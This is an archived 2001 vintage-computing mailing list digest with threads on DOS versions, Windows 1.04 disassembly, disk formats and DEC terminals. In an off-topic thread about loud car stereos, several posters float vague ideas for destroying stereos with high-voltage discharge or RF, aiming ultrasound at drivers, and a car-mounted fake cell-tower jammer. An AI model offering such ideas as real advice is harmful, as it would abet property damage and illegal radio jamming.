http://www.classiccmp.org/pipermail/cctalk/attachments/20010621/6188d141/attachment.html From epgroot at ucdavis.edu Thu Jun 21 19:59:42 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:41 2005 Subject: SDK for Windows 1.04?? In-Reply-To: <3B324C3600001BB3@mail.san.yahoo.com> (added by postmaster@mail.san.yahoo.com) References: <004b01c0fa79$99745a20$8a0101ac@ibm23xhr06> Message-ID: <3.0.5.32.20010621175942.007bbe00@yellow.ucdavis.edu> George, I don't think Windows 1.04 had DLLs! It ran in real mode and used simple .EXE files as programs and nothing else. Edwin At 03:26 PM 6/21/2001 -0500, you wrote: >Two different concepts. The DOS tech refs are refering to the values to place in ah (I think, or was it al?) before making a DOS or BIOS int call. This is all pre-DLL days. Richard is referring to >the ordinal number within a DLL to reference a specific function located in the DLL. Not all functions in a dll have their names exported and sometimes the only way to get to them is by ordinal >number. This is one way that M$ creates 'value added' to their software by utilizing these undocumented calls. > >George > >On Thu, 21 Jun 2001 13:42:53 -0400, John Allain wrote: > >>From: Cini, Richard >> >>> most of the functions in the DOS Shell code (MSDOS.exe >>> and MSDOSD.exe) are referenced by ordinal number >> >>Early (most?) DOS techinical reference >>manuals listed function calls by numbers, >>E.G. 10H = Close file. 01H = Keyboard input, etc. >>Could this be it? >> >>John A. From vaxman at qwest.net Thu Jun 21 20:03:55 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:41 2005 Subject: Source for anti-static bags? In-Reply-To: <993147536.3b323a904fb67@email.ou.edu> Message-ID: How many do you need? I bought a box of pink bags from uline.com (16" x 18" x 6mil - P/N S-3436) and will sell the extras for .50 ea plus shipping. Clint On Thu, 21 Jun 2001, Jeffrey S. Sharp wrote: > So... where do I get anti-static bags that for hex-height Unibus and > other big boards? > > -- > Jeffrey S. Sharp > jss@ou.edu > > From cisin at xenosoft.com Thu Jun 21 20:17:17 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: <5.1.0.14.1.20010621192235.00a161d0@mailhost.intellistar.net> Message-ID: On Thu, 21 Jun 2001, joe wrote: > >I have a Compaq Portable 386... > >1)I am running dos 6.12, but I am thinking about re-installing with > >DOS 4 or DOS 5. > FWIW They originally came with Compaq DOS 3.3. I'm running that > and DR DOS something on mine. That is probably 3.31. Do function 30h of int 21h and see if AH gets 1Fh. I'm not familiar with 6.12 You should use one of the COMPAQ OEM releases of MS-DOS, NOT a generic, nor a PC-DOS. In particular you want COMPAQ's version of MODE.COM > >Or more generally is it better to use a circa operating system or a modern > >operating system (Assuming the machine will run both) ? > They'll run at least MS-DOS 5. I don't know if I've tried anything > higher than that. 6.2x is the ONLY product that I know of in the history of MICROS~1, where improved reliability (rather than bells and whistles) was the primary design goal. The 386 (even 386SX) models, with >4M of RAM can run Windoze95. To install Windoze98, you need to add a 387 or 387SX chip. But would you rather have something that works well? > >2) The machine came with a 5 1/4" diskette drive, I am considering > >replacing that with a 3 and a whatever" drive, or once again more > >generally when one has an older machine is it good to upgrade the hardware > >to make it more usefull. > Careful! Those are 1/3 height drives. It might not be as easy to > install a 3 1/2" drive as you think. Personally, I'd leave the floppy drive > alone. It's more trouble than it's worth to replace it and you're not going > to gain much in capacity by going from 1.2 Mb to 1.44 Mb. But 3.5" (or 3") are much more resistant to abuse than 5.25" diskettes. (3.25" is only marginably more robust than 5.25") Check the CMOS for whether it already has support for 1.4M. If so, then it's just a matter of a little carpentry to fashion mounting brackets. Even if the CMOS doesn't support 1.4M, the hardware does, so it's fairly easy to hack the setup program. > One of the nice > things about the P IIIs is that they have a very extensive drive table in > the BIOS so you can install a LOT bigger hard drive. If you are running DOS 3.3[0], then you can't easily exceed 32M per drive letter. If you are running 3.31 or above, then you can go up to 500M. > >I suppose on my single machine no one cares really, the "historical > >Police" will not appear at my doorstep. IF you cut a hole in the case for easy mounting of a 3.5" drive, then that will invoke somebody offering e-bay level of money for an unmodified machine. (BTDT) -- Grumpy Ol' Fred cisin@xenosoft.com From dogas at bellsouth.net Thu Jun 21 20:16:47 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:41 2005 Subject: swap some coco software??? References: <5.1.0.14.1.20010621190928.00a1d930@mailhost.intellistar.net> <01db01c0fb19$a50fbc80$898953d1@jay> Message-ID: <001601c0fab9$0307a3e0$8862d6d1@DOMAIN> I've been digging through my coco stuff to supply some software for an ebay sale and came across some good stuff.... OS9(L2), C, EDTASM, BASIC09, PASCAL, DYNACALC, MULTIVUE, T/S EDIT/WORD/SPELL, etc... I'm willing to make a few copies should anyone need anything. And... Does anyone have a FORTH or other unmentioned languages for OS-9? Cheers - Mike: dogas@bellsouth.net From cisin at xenosoft.com Thu Jun 21 20:24:42 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: Question about Intel disk formats In-Reply-To: <3.0.5.32.20010621175500.007b38b0@yellow.ucdavis.edu> Message-ID: On Thu, 21 Jun 2001, Edwin P. Groot wrote: > If it is CP/M format, the first track should be SD, whether or not the > disk is formatted DD. That's how it is in the CP/M systems I have. I Many of the best systemes are that way, but there are literally thousands of disk formats that aren't. > figure you should at least be able to read the first track and hopefully > there would be a signature of what machine it's from. What I would not > know is what interleave factor to use for the sector ordering; it seems to > vary from machine to machine. Start with the original IBM SSSD structure. In addition to the sector sequence, for anything other than SSSD, you also have to contend with different sector sizes, and as a result, different numbers of sectors per track. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From rdd at smart.net Thu Jun 21 20:37:15 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, brian roth wrote: > a noise generator to mount in my car to defeat > the "Boom cars" in my neighborhood. The local [...] > Please contact me off list if you have any > creative idea's on this. Please contact me too. All I can think of at the moment is to rev my engine, which would certainly, by far, drown out the noise, but I'd rather not do that. What about a high voltage discharge of some sort to destroy the stereo and car's electronics, or some sort of utrasonic waves aimed at the driver after shouting "turn it down or else"? Of course, with some of the savages (I jest not) that we have driving around this area since the past decade, with "boom-cars" and loud rap, or whatever it's called, noise, that's likely to get one shot. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From cmcmanis at mcmanis.com Thu Jun 21 20:35:23 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: Message-ID: <5.0.0.25.2.20010621183124.02302800@209.185.79.193> Interesting. I have always wondered why someone would build a vehicle system that amplified an audio carrier for everyone around them to hear. Seems it is inviting not a noise generator but perhaps one might choose to inject an alternate audio carrier that would be picked up, greatly amplified, and then broadcast for all to hear. This will actually cause violence to be done to them so is less advisable then perhaps a spark gap that sounds like high-frequency clipping. Make'em take it back to the shop for a 'look see.' :-) --Chuck At 04:52 PM 6/21/01 -0400, you wrote: >I know its off topic but I know there are a lot >of electronics guru's on the list. I'm looking for >a noise generator to mount in my car to defeat >the "Boom cars" in my neighborhood. The local >thieves(politicians) won't do a thing about it so its >time for war. These thumping car stereo's are not >there for musical enjoyment. They are there to >disturb and upset people period. > >Please contact me off list if you have any >creative idea's on this. > >Brian. > > >Brian Roth >Network Services >First Niagara Bank >(716) 625-7500 X2186 >Brian.Roth@FirstNiagaraBank.com From cisin at xenosoft.com Thu Jun 21 20:37:45 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: SDK for Windows 1.04?? In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879A77@MAIL10> Message-ID: On Wed, 20 Jun 2001, Cini, Richard wrote: > Hello, all: > I was paging through some Sourcer listings that I have of the > Windows 1.04 code and noticed that most of the functions in the DOS Shell > code (MSDOS.exe and MSDOSD.exe) are referenced by ordinal number and not > function name ("MSDOS_23" versus "DoSomeThing"). So, I was wondering if > anyone had a copy or knows the existence of SDK documentation for Windows 1. "Sourcer listings" are disassemblies. You don't want, or need Win SDK for THIS (plenty of use for it for other stuff!) What you need is a copy of the DOS Technical Reference, or ANY of the after-market programmer's references, that will provide you a list of the MS-DOS (aka INT 21h) functions, so that you can substitute "DoSomething" in lieu of function "23". Note: the DOS Technical Reference consists of what used to be the appendices of the DOS manual in version 2.00 and below. In version 2.10, they did an appendectomy. BTW, Norton refers to the functions by DECIMAL numbers, whereas the entire civilized world always refers to them in hexadecimal. For example, function 30h of INT 21h reports DOS version, (as opposed to function 48 of int 33 in Norton-speak) -- Grumpy Ol' Fred cisin@xenosoft.com From jhellige at earthlink.net Thu Jun 21 20:42:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: References: Message-ID: >On Thu, 21 Jun 2001, joe wrote:> One of the nice >> things about the P IIIs is that they have a very extensive drive table in >> the BIOS so you can install a LOT bigger hard drive. > >If you are running DOS 3.3[0], then you can't easily exceed 32M per drive >letter. If you are running 3.31 or above, then you can go up to 500M. There were some OEM versions of 3.3 that allowed greater than 32meg per partition, notably Zenith's 3.3+. Is the 3.31 with 500meg partitons a Compaq-specific item? With the exception of Zenith, I thought the 32meg partition barrier wasn't broken until DOS 4? Not that I'd ever recomend the use of PC-DOS 4 to anyone.....buggy as all heck.... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From cisin at xenosoft.com Thu Jun 21 20:47:08 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212216.QAA24368@calico.litterbox.com> Message-ID: On Thu, 21 Jun 2001, Jim Strickland wrote: > Or call the police and give 'em plate numbers and press charges > for disturbing the peace. >On Thu, 21 Jun 2001, Jim Strickland wrote: > There is of course that approach. I've always been amazed how many > people WILL turn it down if asked politely. WOW! I'm tempted to ask what color the sky is there, but trust you about the level of cooperation that you get where you are. It might be worth moving there! -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Thu Jun 21 20:54:30 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212238.PAA32464@stockholm.ptloma.edu> Message-ID: > > > A friend of mine was telling me this story where he was on a street corner F O A F ?? > > > and some jerk was blasting out the neighbourhood with This Year's Annoyingly > > > Foul Rap Artist. Up behind him comes this Corvette and the Corvette's driver > > > sticks his head out and asks the miscreant to please turn it down, to which > > > the driver's response was a single finger salute and more volume. So the > > > Corvette driver, without a word, turns on his stereo and proceeds to drown > > > the entire intersection in Vivaldi. > I'm sure the situation has also been contrived before, but he swears it's > true :-) That is an essential component of ALL ULs. Did he swear that it's TRUE, or swear that it happened to HIM? If you PRESS him for details of exactly where and when, and he says that it wasn't him, but he knows somebody that it happened to, and if you press them, ... NOTE: being POSSIBLE does not change an UL into truth. 'course THIS is one that "happens all of the time". -- Grumpy Ol' Fred cisin@xenosoft.com From pcw at mesanet.com Thu Jun 21 20:56:24 2001 From: pcw at mesanet.com (Peter C. Wallace) Date: Sun Feb 27 19:04:41 2005 Subject: VT1000 info? In-Reply-To: <007301c0fab8$f05c4840$0100a8c0@jack> Message-ID: On Thu, 21 Jun 2001, Fred deBros wrote: > the vxt1300 serves 1000x800 svga easily. it drives a paperwhite > console with the spx gpx framebuffer. GPX is 8 bit color 1024X864 60 Hz refresh (for VR290,VR297 etc) SPX can do 8 bit color 1280x1024 66 Hz refresh (for VRT16, VRT19 etc) SPX is about 3 times as fast as GPX (24 Mpixels/s versus 8) AFAICR > > > The VT1300 is just a VS3100/30 with no disk controller or drive > > plate and loads its XServer from the net (same server as VXT2000 I > > believe) > > > > > > Peter Wallace > > > Peter Wallace Mesa Electronics From marvin at rain.org Thu Jun 21 20:58:24 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) References: Message-ID: <3B32A640.E99009E0@rain.org> It occurs to me that unless that amp is really well designed, it will have some susceptibility to RF. An example would be when I transmit from the car with about 35W on 2M, I frequently can set off car alarms if driving close to them. If that "boom box" is coming from a radio, there are MANY kits and plans for low power transmitting on the broadcast bands that could make listening a less than pleasurable experience. "R. D. Davis" wrote: > > On Thu, 21 Jun 2001, brian roth wrote: > > a noise generator to mount in my car to defeat > > the "Boom cars" in my neighborhood. The local > [...] > > Please contact me off list if you have any > > creative idea's on this. > > Please contact me too. All I can think of at the moment is to rev my > engine, which would certainly, by far, drown out the noise, but I'd > rather not do that. What about a high voltage discharge of some sort > to destroy the stereo and car's electronics, or some sort of utrasonic > waves aimed at the driver after shouting "turn it down or else"? Of > course, with some of the savages (I jest not) that we have driving > around this area since the past decade, with "boom-cars" and loud rap, > or whatever it's called, noise, that's likely to get one shot. > > -- > Copyright (C) 2001 R. D. Davis The difference between humans & other animals: > All Rights Reserved an unnatural belief that we're above Nature & > rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such > http://www.perqlogic.com beliefs and to justify much human cruelty. From cisin at xenosoft.com Thu Jun 21 21:12:07 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: Message-ID: > >If you are running DOS 3.3[0], then you can't easily exceed 32M per drive > >letter. If you are running 3.31 or above, then you can go up to 500M. > On Thu, 21 Jun 2001, Jeff Hellige wrote: > There were some OEM versions of 3.3 that allowed greater than > 32meg per partition, NO version of 3.3[0] did. NONE. NOT ANY. Only starting with 3.31 > notably Zenith's 3.3+. Is the 3.31 with 500meg > partitons a Compaq-specific item? With the exception of Zenith, I > thought the 32meg partition barrier wasn't broken until DOS 4? Compaq released an MS-DOS 3.31, as did Zenith and a few others. Apparently ALL 3.31 releases supported >32M. HOWEVER, IBM did NOT release a 3.31, so 4.00 was the first PC-DOS >32M. There was more difference between 3.30 and 3.31 than there was between 3.31 and 4.00 BTW, the OS MINOR version is converted from a two digit decimal number into binary for the storage of the internal ("true") OS version. therefore, 3.30 is stored internally as release THIRTY of version THREE, and there does not exist a version three point THREE (which would be 3.03). Version three point thirty-one is when the 32M limitation was eliminated. The 500M limitation was an issue of BIOS, not DOS. > Not > that I'd ever recomend the use of PC-DOS 4 to anyone.....buggy as all > heck.... Quite a few (not all) of the "bugs" in PC-DOS 4.00 were actually incompatabilities. When they changed the drive access to cross 32M, many programs that did "low level" disk I/O (such as Norton fUtilities) would not work with the new OS release. InfoWorld, et al, reasoned that because their favorite utilities worked with 3.30, but not with 4.00, that that constituted a bug in 4.00. For version 5.00 ("new and improved"), MICROS~1 coordinated with Norton, etc. to assure availability of upgrades of incompatible utilities. But as an indicator of the "thoroughness" with which 4.x was debugged: 4.01 misreports itself as 4.00. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From chronic at nf.sympatico.ca Thu Jun 21 21:15:27 2001 From: chronic at nf.sympatico.ca (Lanny Cox) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) References: <3B32A640.E99009E0@rain.org> Message-ID: <001101c0fac1$35a34ae0$88f8fea9@98box> As a fan of fairly loud music, i think the idea of setting off car alarms is much more interesting. :-) -Lanny Cox ----- Original Message ----- From: Marvin To: Sent: Thursday, June 21, 2001 11:28 PM Subject: Re: Boom cars (ot for sure...) > > It occurs to me that unless that amp is really well designed, it will have > some susceptibility to RF. An example would be when I transmit from the car > with about 35W on 2M, I frequently can set off car alarms if driving close > to them. If that "boom box" is coming from a radio, there are MANY kits and > plans for low power transmitting on the broadcast bands that could make > listening a less than pleasurable experience. > > "R. D. Davis" wrote: > > > > On Thu, 21 Jun 2001, brian roth wrote: > > > a noise generator to mount in my car to defeat > > > the "Boom cars" in my neighborhood. The local > > [...] > > > Please contact me off list if you have any > > > creative idea's on this. > > > > Please contact me too. All I can think of at the moment is to rev my > > engine, which would certainly, by far, drown out the noise, but I'd > > rather not do that. What about a high voltage discharge of some sort > > to destroy the stereo and car's electronics, or some sort of utrasonic > > waves aimed at the driver after shouting "turn it down or else"? Of > > course, with some of the savages (I jest not) that we have driving > > around this area since the past decade, with "boom-cars" and loud rap, > > or whatever it's called, noise, that's likely to get one shot. > > > > -- > > Copyright (C) 2001 R. D. Davis The difference between humans & other animals: > > All Rights Reserved an unnatural belief that we're above Nature & > > rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such > > http://www.perqlogic.com beliefs and to justify much human cruelty. From jim at calico.litterbox.com Thu Jun 21 21:25:58 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: from "Fred Cisin (XenoSoft)" at Jun 21, 2001 06:47:08 PM Message-ID: <200106220225.UAA25247@calico.litterbox.com> I'm thinking of an incident that happened when I was in grad school in 1993 or so. It was summer, the guys down the hall were obviously basket ball team, and had the rap music pumped up LOUD. The joys of dorm living. After discovering that I'm too old to sleep through ACDC loud enough to wake the dead (and blot out the noise) anymore and equally unable to sleep through my windows vibrating to something or other about killing cops, I knocked on the door. The guy who answered was at least a foot taller than me, very athletic, and of a different racial stock than mine. Seemed like confrontation was iminant. When I asked him to please turn it down a bit, he apologised and turned it off. I told him that wasn't necessary, just so it didn't rattle my windows was fine. It never was an issue again. Perhaps the most useful thing I learned that day. The place was Colorado State University, Fort Collins, CO. > WOW! I'm tempted to ask what color the sky is there, but trust you about > the level of cooperation that you get where you are. It might be worth > moving there! -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cisin at xenosoft.com Thu Jun 21 21:32:42 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: Noise cancellation (was: Boom cars (ot for sure...) In-Reply-To: Message-ID: > > It might be difficult but it's not impossible. They're using systems > > like that on US Army tanks right now. On Thu, 21 Jun 2001, Chris Kennedy wrote: > Not to mention the active nose cancellation headsets that I and most > of my friends were while flying. They're designed only to deal with > low frequency noise; when you turn them on it's like someone stuffed > high-pass cotton into your ears. Voices sound perfectly normal but (well, a little "hollow") > the drone of the engine sounds like it's in the next county. > The big problem is power density -- these things only have to provide > cancellation in the confines of a headset ear cup. Cancellation in the > large would obviously require much higher power levels. (and relocation of the mike and speaker) For years I have used noise-cancellation headphones at COMDEX. The slowness of the speed of sound limits the practicality of the technology to situations where you can have the added signal provided to the receiver (your ear) at the same place as the original sound (in the headphones). If you tried to produce a unit to silence the neighborhood, alas, the delay of the sound reaching the mike, added to the delay of the "anti-sound" getting back to the original source, would render it impossible to synch up adequately. Even if the mike were at the source, eliminating THAT delay, people at different locations would experience different phase combinations of the two signals. In fact, at 500 feet away there would be almost a half a second of delay. Since you want either no time delta between the signals (if inverted), enough distance to give half the frequency of the sound would completely bollix it. In other words, you could diminish the sound for yourself, but not cancel out the noise level even a few feet away. IF you could get the originator of the sound to put a mike next to his speakers and add your speaker there, then you could cancel most of his noise. But only one person here seems to live in an area where you could get that level of cooperation. In theory, it might be possible to put a microphone in your exhaust header pipe and a speaker in the muffler (giving your circuit a headstart), and significantly reduce outgoing vehicle exhaust noise! What percentage of the public in your neighborhood appreciate good mufflers? -- Grumpy Ol' Fred cisin@xenosoft.com From jim at calico.litterbox.com Thu Jun 21 21:33:47 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: from "R. D. Davis" at Jun 21, 2001 09:37:15 PM Message-ID: <200106220233.UAA25280@calico.litterbox.com> I tend to think this is a really bad idea. Destroying someone's multi-thousand dollar stereo is bad. If he's got a pacemaker and you kill him, it's worse for YOU, as the judge and jury aren't going to think alot of your reasoning that his music was too loud. Either put up with it, or ask politely if they'd turn it down, or write down the licence plate number and let the guys with badges, kevlar, and guns deal with it. Not as emotionally satisfying, but much much lower risk. Or simply bask in the knowledge that they'll be stone deaf by 40, and you'll still have your music. > *snip* What about a high voltage discharge of some sort > to destroy the stereo and car's electronics, or some sort of utrasonic > waves aimed at the driver after shouting "turn it down or else"? *snip* Now of course, to be perfectly hypocritical, I'd LOVE to get my hands on a transmitter that convinces celphones it's the closest cell, effectively disabling every phone in range. Do I need to say this would be car mounted? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cisin at xenosoft.com Thu Jun 21 21:47:05 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: Message-ID: > > I have a Compaq Portable 386... On Fri, 22 Jun 2001, Tony Duell wrote: > I'm a user, not a collector. I want my machines to work and be useful, so > I am generally happy doing modifications. > > Hmmm... Often modern OSes require rather more memory, disk space, > processor speed, etc than you get on classic machines. I'm normally > happier with OSes from about the time of the machine. My MS-DOS PC(s) run > 3.3, nothing later. I would run _COMPAQ_ MS-DOS 3.31, or _COMPAQ_ MS-DOS 5.00, or [FIRST CHOICE:] generic 6.2x with MODE.COM from Compaq 5.00 (with SETVER). It is nice to have a version of MODE.COM that supports the internal/external video issues of the Compaq. That'll permit running Windoze 3.1x. I would not run Windoze9x unless you are really desperate for that. > > 2) The machine came with a 5 1/4" diskette drive, I am considering > > replacing that with a 3 and a whatever" drive, or once again more > > generally when one has an older machine is it good to upgrade the > > hardware to make it more usefull. > I have no problem with reversable hardware mods. If it's just a matter > of slipping out the 5.25" drive and slotting in a 3.5" one in one of > those adapter frames, then I see no problem. But I find it very useful to > keep 5.25" drives around. I asusme, though, you can't fit 2 drives into > this machine. > I do, however, object to modifications that totally change the machine > (e.g. putting a Pentium motherboard, even one running a PDP11 emulator, > into a PDP11 case). How do you feel about cutting a hole in the case to mount an additional 3.5" drive, instead of replacing the 5.25"? It's NOT reversible, but works well. In addition, there is no need to mount the hard drive exposed as Compaq does. Drill a hole for an LED, and remount the hard drive inside, making more room for accessible drives (5.25", 3.5", AND CD-ROM) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From cisin at xenosoft.com Thu Jun 21 21:55:10 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106220225.UAA25247@calico.litterbox.com> Message-ID: Yes, my neighbors (of many ethnic groups) are quite cooperative about such things. But the people driving through the neighborhood tend to be completely uncooperative. And the police around here will NOT do anything based on a complaint with a license number. If they don't hear it themselves, they won't follow up. BTW, the first time that I heard one of them, I thought that it was a bad crankshaft main bearing - still don't know why somebody would WANT that volume anywhere near themselves. -- Grumpy Ol' Fred cisin@xenosoft.com On Thu, 21 Jun 2001, Jim Strickland wrote: > I'm thinking of an incident that happened when I was in grad school in > 1993 or so. It was summer, the guys down the hall were obviously basket > ball team, and had the rap music pumped up LOUD. The joys of dorm living. > > After discovering that I'm too old to sleep through ACDC loud enough to wake > the dead (and blot out the noise) anymore and equally unable to sleep through > my windows vibrating to something or other about killing cops, I knocked > on the door. The guy who answered was at least a foot taller than me, very > athletic, and of a different racial stock than mine. Seemed like confrontation > was iminant. When I asked him to please turn it down a bit, he apologised and > turned it off. I told him that wasn't necessary, just so it didn't rattle my > windows was fine. It never was an issue again. > > Perhaps the most useful thing I learned that day. > > The place was Colorado State University, Fort Collins, CO. > > > WOW! I'm tempted to ask what color the sky is there, but trust you about > > the level of cooperation that you get where you are. It might be worth > > moving there! > > > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > BeOS Powered! > ----------------------------------------------------------------------- From cisin at xenosoft.com Thu Jun 21 22:05:30 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:41 2005 Subject: SDK for Windows 1.04?? In-Reply-To: <3B324C3600001BB3@mail.san.yahoo.com> (added by postmaster@mail.san.yahoo.com) Message-ID: On Thu, 21 Jun 2001, George Currie wrote: > Two different concepts. The DOS tech refs are refering to the values > to place in ah (I think, or was it al?) before making a DOS or BIOS > int call. This is all pre-DLL days. Richard is referring to the > ordinal number within a DLL to reference a specific function located > in the DLL. He is referring to the number reported by his disassembler that is disassembling the Windoze program (into DOS compatible assembly language). The value placed in AH IS for the purpose of referencing a specific dunction located in the MS-DOS DOS function handler (INT 21h). > Not all functions in a dll have their names exported and > sometimes the only way to get to them is by ordinal number. This is > one way that M$ creates 'value added' to their software by utilizing > these undocumented calls. And there were/are a few undocumented functions in MS-DOS, such as #34h, and INT 28. And don't forget the "network redirector" (since 3.10) that is needed even to use MS's CDROM drivers. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From cmcmanis at mcmanis.com Thu Jun 21 22:12:06 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106220233.UAA25280@calico.litterbox.com> References: Message-ID: <5.0.0.25.2.20010621200541.01ce7a10@209.185.79.193> At 08:33 PM 6/21/01 -0600, you wrote: >Now of course, to be perfectly hypocritical, I'd LOVE to get my hands on >a transmitter that convinces celphones it's the closest cell, effectively >disabling every phone in range. Do I need to say this would be car mounted? This is a True Story(tm) although it sounds like an urban legend (Fred I can provide dates and GPS co-ordinates if you like ;-) A surplus place in LA (timeline) was selling Motorola Cell Tranceivers. These are the things that go on a cell tower and connect a cell phone to the switch on the tower. This was an as-is where-is possibly good for parts deal and we wanted to scavenge the nice RF coaxial connectors etc. Anyway, for grins and giggles we applied power (24V DC for some reason) to see what if anything would smoke. Nothing exciting, some clicks (relays going active) some blinking lights off and on, then nothing. Then the bar LED labelled "call traffic" gets one bar, two, then six. Then the error/fault light comes on :-) The theory is that this thing powered up, then started trying to handle cell phones but had no switch to connect them to and failed out the calls. I didn't have an analog 800Mhz phone at the time to try it out so I can't say for sure, but we thought it neat anyway. --Chuck From rdd at smart.net Thu Jun 21 22:31:21 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <001101c0fac1$35a34ae0$88f8fea9@98box> Message-ID: On Thu, 21 Jun 2001, Lanny Cox wrote: > As a fan of fairly loud music, i think the idea of setting off car alarms is > much more interesting. :-) Funny that you should mention that. Interestingly, it's a relatively common occurance that when I start my engine when parked next to an alarmed car, the alarm goes off. :-) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From jhellige at earthlink.net Thu Jun 21 12:38:37 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:41 2005 Subject: CD Eating Fungus? Message-ID: <01Jun21.232545edt.119067@gateway.mediacen.navy.mil> >I thought compared to vinyl all CD's played backwards!! :-) Then, when compared to CD's, you would listen to the supposed satanic messages on Styx albums and such by playing the vinyl forwards but when compared to other vinyl it would be backwards? Jeff From gunther at aurora.regenstrief.org Thu Jun 21 23:05:14 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:41 2005 Subject: Tru64, off topic? NOT! Message-ID: <3B32C3FA.846FB634@aurora.regenstrief.org> No this is not off topic, becasue I just had that thought that one should rename Lunix/LNG to "True64". After all, Tru64 isn't truly on the C64. The but the C64 has a Unix, so it should be called True64. cheers, -Gunther -- Gunther Schadow, M.D., Ph.D. gschadow@regenstrief.org Medical Information Scientist Regenstrief Institute for Health Care Adjunct Assistant Professor Indiana University School of Medicine tel:1(317)630-7960 http://aurora.regenstrief.org From gunther at aurora.regenstrief.org Thu Jun 21 23:05:59 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:41 2005 Subject: C64: need help with "quest for tires" [blush]] Message-ID: <3B32C427.568ECB70@aurora.regenstrief.org> Gee, I'm so embarrassed asking this in public, but heck, I played so little games in my life! Can someone tell me how to get over those pits once you come down the hill with Quest for Tires? I recently got an old C64 setup (I grew up with one) and thought this was a fun game, I just don't see any way to get over those pits. Thanks, -Gunther From mrbill at mrbill.net Fri Jun 22 01:25:45 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:41 2005 Subject: preserving / ressurecting old docs? Message-ID: <20010622012544.A9041@mrbill.net> As mentioned previously, I've registered DECDOCS.ORG, and have started the tedious task of scanning in all the documentation I have. I'm about halfway through scanning the '69 DEC Logic Handbook (positive logic edition), by laying the book as flat as possible (not using the scanner top cover), and scanning 2 pages at once. Some of the pages are starting to come unglued, and I'd like to avoid destroying the book while archiving it. Any suggestions on what to use to re-glue the pages, or rebinding, etc? I've got quite a pile of these handbooks and will be doing the same (scanning) to them, but this is definitely the oldest / most fragile handbook in the collection. Thanks for any tips. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From jeff.kaneko at juno.com Fri 